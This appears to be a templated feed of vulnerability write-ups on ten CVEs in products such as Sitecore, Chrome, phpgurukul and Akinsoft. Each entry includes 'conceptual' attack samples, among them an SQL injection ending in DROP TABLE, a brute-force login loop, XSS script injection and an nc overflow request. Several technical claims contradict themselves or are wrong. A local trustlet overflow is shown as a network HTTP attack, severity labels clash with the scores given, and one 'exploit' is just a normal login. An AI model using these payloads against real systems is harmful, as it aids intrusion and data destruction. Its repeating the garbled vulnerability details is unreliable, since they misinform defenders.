Author: Ameeba

Overview

The recently documented vulnerability CVE-2025-53690 is a severe cybersecurity risk affecting Sitecore Experience Manager (XM) and Experience Platform (XP). It exploits a weakness in the deserialization of untrusted data, enabling code injection. This vulnerability is particularly significant as it exposes users of affected versions of Sitecore platforms to potential system compromise and data leakage, undermining the integrity and confidentiality of their data.
The magnitude of the risk posed by this vulnerability is underscored by its Common Vulnerability Scoring System (CVSS) Severity Score of 9.0 – a high rating indicative of the severe level of potential damage. With the widespread use of Sitecore platforms, it’s crucial to understand the nature of this vulnerability and adopt recommended mitigation strategies promptly.

Vulnerability Summary

CVE ID: CVE-2025-53690
Severity: Critical (CVSS score: 9.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Sitecore Experience Manager (XM) | Up to and including 9.0
Sitecore Experience Platform (XP) | Up to and including 9.0

How the Exploit Works

The CVE-2025-53690 vulnerability takes advantage of a weakness in the deserialization process of untrusted data in Sitecore platforms. Deserialization is the process of converting data from a flat format into a structured one. If this process doesn’t properly validate or sanitize the input data, an attacker can inject harmful code that the application will unwittingly execute. This can lead to unauthorized access or control over system resources, which in turn can result in data breaches or system compromise.

Conceptual Example Code

Consider the following conceptual example of an HTTP request that exploits the vulnerability. Please note this is a hypothetical example and does not represent actual malicious code.

POST /Sitecore/Endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_object": "{ \"__type\": \"TypeConverter, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\", \"AssemblyName\": \"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\", \"PropertyName\": \"AttackPayload\", \"IncompleteDeserialization\": true}" }

In this example, the malicious payload is embedded in a serialized object. When the Sitecore server deserializes this object, it can trigger the execution of the malicious payload, causing potential harm to the system or data.

Recommended Mitigation

The recommended mitigation for CVE-2025-53690 is to apply the vendor-supplied patch as soon as possible. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer a measure of temporary mitigation. However, these should not be considered long-term solutions as they do not address the root cause of the vulnerability. Regular patching and updating of software is a fundamental aspect of maintaining robust cybersecurity defenses.

Overview

The cybersecurity world is abuzz with news of a significant vulnerability identified in the Ruijie RG-ES series switch firmware ESW_1.0(1)B1P39. This vulnerability, assigned the identifier CVE-2025-56752, has the potential to allow remote attackers unrestricted access to targeted devices. This could lead to drastic consequences, including the possible commandeering of affected systems and potential data leakage.
This vulnerability poses a serious threat to organizations that rely on the Ruijie RG-ES series switches for their network infrastructure. Given the severity of the potential impact, it’s of utmost importance to understand this vulnerability and implement the necessary mitigations.

Vulnerability Summary

CVE ID: CVE-2025-56752
Severity: Critical, CVSS score 9.4
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Full system compromise and potential data leakage

Affected Products

Product | Affected Versions

Ruijie RG-ES Series Switch | ESW_1.0(1)B1P39

How the Exploit Works

The exploit takes advantage of a vulnerability in the authentication mechanism of the RG-ES series switches’ firmware. By crafting a malicious HTTP POST request to /user.cgi, an attacker can bypass the authentication process entirely. This allows them direct and unrestricted access to the administrative settings of the device.

Conceptual Example Code

Below is a conceptual example of a malicious HTTP POST request that could exploit this vulnerability. The actual malicious payload would depend on the attacker’s goal.

POST /user.cgi HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=123456&submit=Login

Once the request is made, the attacker gains full access to the targeted device, bypassing the usual authentication process.

Recommendations for Mitigation

The most effective mitigation for this vulnerability is to apply the vendor-supplied patch. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to detect and block attacks exploiting this vulnerability. However, these are temporary measures and do not substitute for the application of the patch, which is necessary to fully resolve the vulnerability.

Overview

The cybersecurity community needs to pay close attention to a new vulnerability identified as CVE-2023-21477. This security flaw affects TIGERF’s trustlet, a critical component in many systems, and has the potential to compromise system integrity or result in data leakage. The vulnerability was discovered in versions of the trustlet prior to SMR Apr-2023 Release 1. Given the widespread use of TIGERF’s solutions, the impact of this vulnerability could be far-reaching and severe, potentially affecting numerous systems across various industries.

Vulnerability Summary

CVE ID: CVE-2023-21477
Severity: High (7.9)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Access of Memory Location After End of Buffer, potential system compromise or data leakage

Affected Products

Product | Affected Versions

TIGERF Trustlet | Prior to SMR Apr-2023 Release 1

How the Exploit Works

The exploit works by targeting a buffer overflow vulnerability in TIGERF’s trustlet. A buffer overflow occurs when more data is written to a piece of memory or buffer than it can handle, causing an overflow. In this case, the attacker can access memory locations after the end of the buffer. Since these locations often contain sensitive data or critical system information, an attacker can use this vulnerability to gain unauthorized access to protected data.

Conceptual Example Code

The following example demonstrates how an attacker might exploit this vulnerability. Please note that this is a conceptual example and not a real exploit code.

# The attacker writes more data to the buffer than it can handle
echo -ne 'GET /vulnerable_endpoint HTTP/1.1\r\nHost: target.example.com\r\nOverflow: ' > exploit
for i in {1..5000}; do echo -n "A" >> exploit; done;
echo -ne '\r\n\r\n' >> exploit
# The attacker sends the request to the target
nc target.example.com 80 < exploit

This code sends a request to the vulnerable endpoint, causing a buffer overflow that allows the attacker to access memory locations after the end of the buffer.

Mitigation

The best mitigation strategy for this vulnerability is to apply the vendor’s patch. TIGERF has released a patch for this vulnerability in SMR Apr-2023 Release 1. If it is not possible to apply the patch immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and block attempts to exploit this vulnerability, providing an additional layer of protection.

Overview

In the evolving landscape of cybersecurity, new vulnerabilities continue to surface, posing significant threats to data security. One such vulnerability, CVE-2025-57146, concerns the phpgurukul Complaint Management System in PHP 2.0. This vulnerability allows attackers to exploit the system via SQL Injection in the user/reset-password.php via the mobileno parameter. This kind of vulnerability could potentially lead to system compromise and data leakage, impacting the confidentiality, integrity, and availability of data. It represents a significant risk to organizations using the phpgurukul Complaint Management System, thus requiring immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-57146
Severity: High (CVSS 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

phpgurukul Complaint Management System | 2.0

How the Exploit Works

The exploit is essentially an SQL Injection attack, a code injection technique that attackers use to insert malicious SQL statements into the input fields, which are then executed by the server. The vulnerability lies in the user/reset-password.php file, specifically in the handling of the mobileno parameter. An attacker can manipulate this parameter to execute arbitrary SQL commands, allowing them to potentially gain unauthorized access, modify, or delete data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /user/reset-password.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
mobileno=' OR '1'='1'; DROP TABLE users; --

In this case, the malicious SQL query would bypass the password reset check (since ‘1’=’1′ is always true), and then proceed to delete the users table from the database. Note that this is a simplified conceptual example, and real-world attacks might be more complex and obfuscated to avoid detection.

Mitigation and Prevention

To mitigate this vulnerability, users are advised to immediately apply the vendor patch once it’s available. In the interim, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to detect and prevent SQL Injection attacks.
Furthermore, organizations should also adopt best practices like input validation, parameterized queries, and least privilege principle to protect their systems from such vulnerabilities. Regular security audits and vulnerability assessments can help identify potential security issues before they can be exploited by attackers.

Overview

Cybersecurity threats are an ongoing concern for businesses worldwide, and the recent discovery of CVE-2025-2416, a critical vulnerability in Akinsoft LimonDesk, underscores this reality. This vulnerability, due to improper restriction of excessive authentication attempts, allows potential attackers to bypass the authentication process, leading to unauthorized system access. It is a severe issue that affects all users of Akinsoft LimonDesk, a widely used software, from version s1.02.14 before v1.02.17. This vulnerability matters because it poses a risk of system compromise or data leakage, possibly leading to significant financial loss and reputational damage for organizations.

Vulnerability Summary

CVE ID: CVE-2025-2416
Severity: Critical (8.6 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Akinsoft LimonDesk | s1.02.14 before v1.02.17

How the Exploit Works

The vulnerability stems from an improper restriction of excessive authentication attempts in Akinsoft LimonDesk, which allows an attacker to bypass the authentication process. An attacker can exploit this vulnerability by repeatedly attempting to authenticate with different credentials until successful, without being locked out or delayed by the system. This lack of restriction allows an attacker to potentially gain unauthorized access to the system, leading to potential system compromise or data leakage.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited is shown below:

POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "admin", "password": "guess_password_here" }

In this example, the attacker repeatedly sends POST requests to the login endpoint with different password guesses until a successful login response is received.

Mitigation Guidance

The best mitigation strategy is to apply the vendor’s patch. Akinsoft has released a patch for this vulnerability in version v1.02.17 of LimonDesk. Users are strongly advised to update their software to the latest version.
In addition to applying the vendor’s patch, users should also consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block excessive authentication attempts, thereby preventing potential exploitation of this vulnerability.

Overview

A significant vulnerability, coded as CVE-2025-2415, has been identified in the Akinsoft MyRezzta software. This vulnerability arises from an improper restriction of excessive authentication attempts, which allows an attacker to bypass the authentication process entirely. Akinsoft’s MyRezzta software is widely used, and the vulnerability poses a severe risk to users, potentially leading to system compromise or data leakage. This blog post aims to provide a detailed insight into the nature of this vulnerability, the impact it could have, and the steps that can be taken to mitigate the risks associated with it.

Vulnerability Summary

CVE ID: CVE-2025-2415
Severity: High (8.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Akinsoft MyRezzta | from s2.03.01 before v2.05.01

How the Exploit Works

The CVE-2025-2415 vulnerability exploits the improper restriction of authentication attempts in Akinsoft’s MyRezzta software. In essence, the software fails to adequately limit the number of failed login attempts a user can make. An attacker can take advantage of this oversight by persistently trying different combinations of credentials until they gain access. This kind of attack is commonly referred to as a ‘brute force’ attack.

Conceptual Example Code

The following pseudocode is a conceptual example of how this vulnerability might be exploited:

for username in username_list:
for password in password_list:
response = requests.post('https://target.example.com/login',
data={'username': username, 'password': password})
if response.status_code == 200:
print(f'Successfully logged in with {username}:{password}')
break

In this example, the attacker has a list of potential usernames (`username_list`) and a list of potential passwords (`password_list`). The attacker attempts to log in with each combination of username and password until they receive a successful login response (a 200 status code).

Mitigation Guidance

In order to mitigate this vulnerability, users are strongly advised to apply the vendor patch as soon as it becomes available. The patch will correct the excessive authentication attempts vulnerability, thereby preventing potential attackers from bypassing the authentication process. In the interim, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to block or alert on multiple failed login attempts from the same IP address, providing temporary mitigation to the vulnerability.

Overview

CVE-2025-9866 is a significant cybersecurity vulnerability that affects the Google Chrome browser, particularly in its handling of Extensions. The vulnerability results from an inappropriate implementation in Extensions in versions of Google Chrome prior to 140.0.7339.80. Consequently, this flaw allows a remote attacker to bypass the content security policy through a meticulously crafted HTML page. Given the widespread use of Google Chrome, this vulnerability underscores the critical nature of maintaining up-to-date browser versions and ensuring adherence to best cybersecurity practices.

Vulnerability Summary

CVE ID: CVE-2025-9866
Severity: Medium (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Google Chrome | Prior to 140.0.7339.80

How the Exploit Works

The exploit leverages an inappropriate implementation in Google Chrome’s Extensions feature. An attacker crafts a specific HTML page designed to bypass the content security policy of the browser. Once a user interacts with this page through their vulnerable Google Chrome version, the attacker can potentially gain unauthorized access to the system or sensitive data.

Conceptual Example Code

The following conceptual example illustrates how an HTTP request might look when exploiting this specific vulnerability:

GET /malicious.html HTTP/1.1
Host: attacker.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

The `malicious.html` page would contain the exploit code designed to bypass the content security policy of Google Chrome. Upon successful execution, this could lead to unauthorized system access or data leakage.

Mitigation and Prevention

The ideal mitigation for CVE-2025-9866 is to apply the vendor-supplied patch, which in this case is to update Google Chrome to version 140.0.7339.80 or later. This update fixes the inappropriate implementation and prevents the possibility of content security policy bypass.
However, in situations where immediate application of the vendor patch is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These tools can help detect and block potential exploit attempts. It’s worth noting, however, that these are stop-gap measures and don’t replace the need for applying the vendor-supplied patch.

Overview

CVE-2025-9864 is a high severity cybersecurity vulnerability residing in Google’s V8 engine, a key component of the Google Chrome browser. This vulnerability can be exploited by a remote attacker through a carefully crafted HTML page, leading to potential system compromise or data leakage. Given the widespread usage of Google Chrome, this issue is of significant concern to both individual users and enterprises alike. Ensuring the robustness of widely used web browsers like Chrome is crucial, as vulnerabilities can serve as entry points for attackers, potentially leading to catastrophic damages.

Vulnerability Summary

CVE ID: CVE-2025-9864
Severity: High (CVSS score of 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Google Chrome | Prior to 140.0.7339.80

How the Exploit Works

The vulnerability CVE-2025-9864 stems from a ‘use after free’ flaw in the Google Chrome V8 engine. A ‘use after free’ vulnerability is a type of memory corruption flaw that happens when a program continues to use a pointer after it has been freed. In this case, an attacker crafts a malicious HTML page, which when loaded and processed by a victim’s browser, results in a heap corruption. An attacker can manipulate this heap corruption to execute arbitrary code, allowing for potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how such an exploit might look like, using a crafted HTTP request to a vulnerable endpoint:

GET /malicious.html HTTP/1.1
Host: attacker.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7339.70 Safari/537.36

This HTTP request retrieves a malicious HTML page hosted on the attacker’s server. This page contains the payload necessary to exploit the ‘use after free’ vulnerability in Chrome’s V8 engine. Once loaded by the victim’s browser, the payload triggers heap corruption, potentially allowing the attacker to execute arbitrary code or leak sensitive data.

Mitigation Guidance

To mitigate this vulnerability, users are urged to apply the vendor-supplied patch by updating their Google Chrome browser to the latest version, which includes a fix for this vulnerability. As a temporary mitigation, Web Application Firewalls (WAFs) and Intrusion Detection Systems (IDS) can be used to detect and block potential exploitation attempts of this vulnerability.

Overview

The cybersecurity realm is no stranger to threats and vulnerabilities that can potentially compromise the integrity and security of a system. One such vulnerability that has come to light is the CVE-2025-57151, a critical vulnerability that impacts the phpgurukul Complaint Management System 2.0. This vulnerability is characterized by Cross Site Scripting (XSS) which opens up the system to potential compromise or data leakage. The vulnerability specifically exists in the admin/userprofile.php via the fullname parameter. This vulnerability matters because if successfully exploited, it could lead to unauthorized access, data theft, and potential system compromise.

Vulnerability Summary

CVE ID: CVE-2025-57151
Severity: High (8.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized System Access, Potential Data Leakage

Affected Products

Product | Affected Versions

phpgurukul Complaint Management System | 2.0

How the Exploit Works

The vulnerability CVE-2025-57151 leverages a Cross Site Scripting (XSS) loophole in the phpgurukul Complaint Management System 2.0. Specifically, the admin/userprofile.php file is susceptible to this exploit via the fullname parameter. XSS vulnerabilities enable an attacker to inject malicious scripts into web pages viewed by other users. In this case, an attacker can manipulate the fullname parameter to execute arbitrary HTML or script code in a user’s browser session. This can lead to unauthorized access and potential data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. The attacker could craft a malicious URL or HTTP request like this:

POST /admin/userprofile.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
fullname=<script>malicious_code_here</script>

In this example, `malicious_code_here` would be replaced with the actual malicious script that the attacker wants to execute in the user’s browser. This could allow the attacker to steal session cookies, launch phishing attacks, or perform other malicious actions.

Mitigation Measures

As a mitigation measure, it is recommended to apply the vendor-provided patch as soon as possible. In case the patch is not available immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation measure. It is also advisable to validate and sanitize all user inputs, and implement Content Security Policy (CSP) headers to help prevent XSS attacks.

Overview

DeepSeek, commonly used for its robust data aggregation capabilities, has recently been found to have a significant vulnerability in versions R1 through V3.1. This vulnerability, tagged as CVE-2025-26210, exposes users to potential Cross-Site Scripting (XSS) attacks. XSS remains one of the most prevalent security risks on the web, allowing attackers to inject malicious code into web pages viewed by other users. This vulnerability is particularly concerning as it can lead to system compromise or data leakage, making it a high-risk issue that demands immediate attention from all affected parties.

Vulnerability Summary

CVE ID: CVE-2025-26210
Severity: High, with a CVSS score of 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Successful exploitation can lead to system compromise and data leakage

Affected Products

Product | Affected Versions

DeepSeek | R1 through V3.1

How the Exploit Works

The vulnerability is due to insufficient sanitizing of user-supplied inputs in the `run-html-chat.deepseeksvc.com` domain. An attacker can exploit this weakness by sending a specially crafted input to the affected software, which then reflects the malicious script on the web page. When an unsuspecting user interacts with the infected web page, the malicious script gets executed within the context of the victim’s browser, potentially leading to unauthorized actions.

Conceptual Example Code

A potential exploit might look something like this:

GET /chat?nickname=<script>malicious_code_here</script> HTTP/1.1
Host: run-html-chat.deepseeksvc.com

In this example, `` is the injected JavaScript code. When a user views the webpage, the malicious JavaScript code is executed in their browser.

Mitigation

Until a vendor patch is available, the recommended mitigation method is to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block potential XSS attempts. It is also advised to not click on untrusted links and be wary of unexpected behavior on the `run-html-chat.deepseeksvc.com` domain.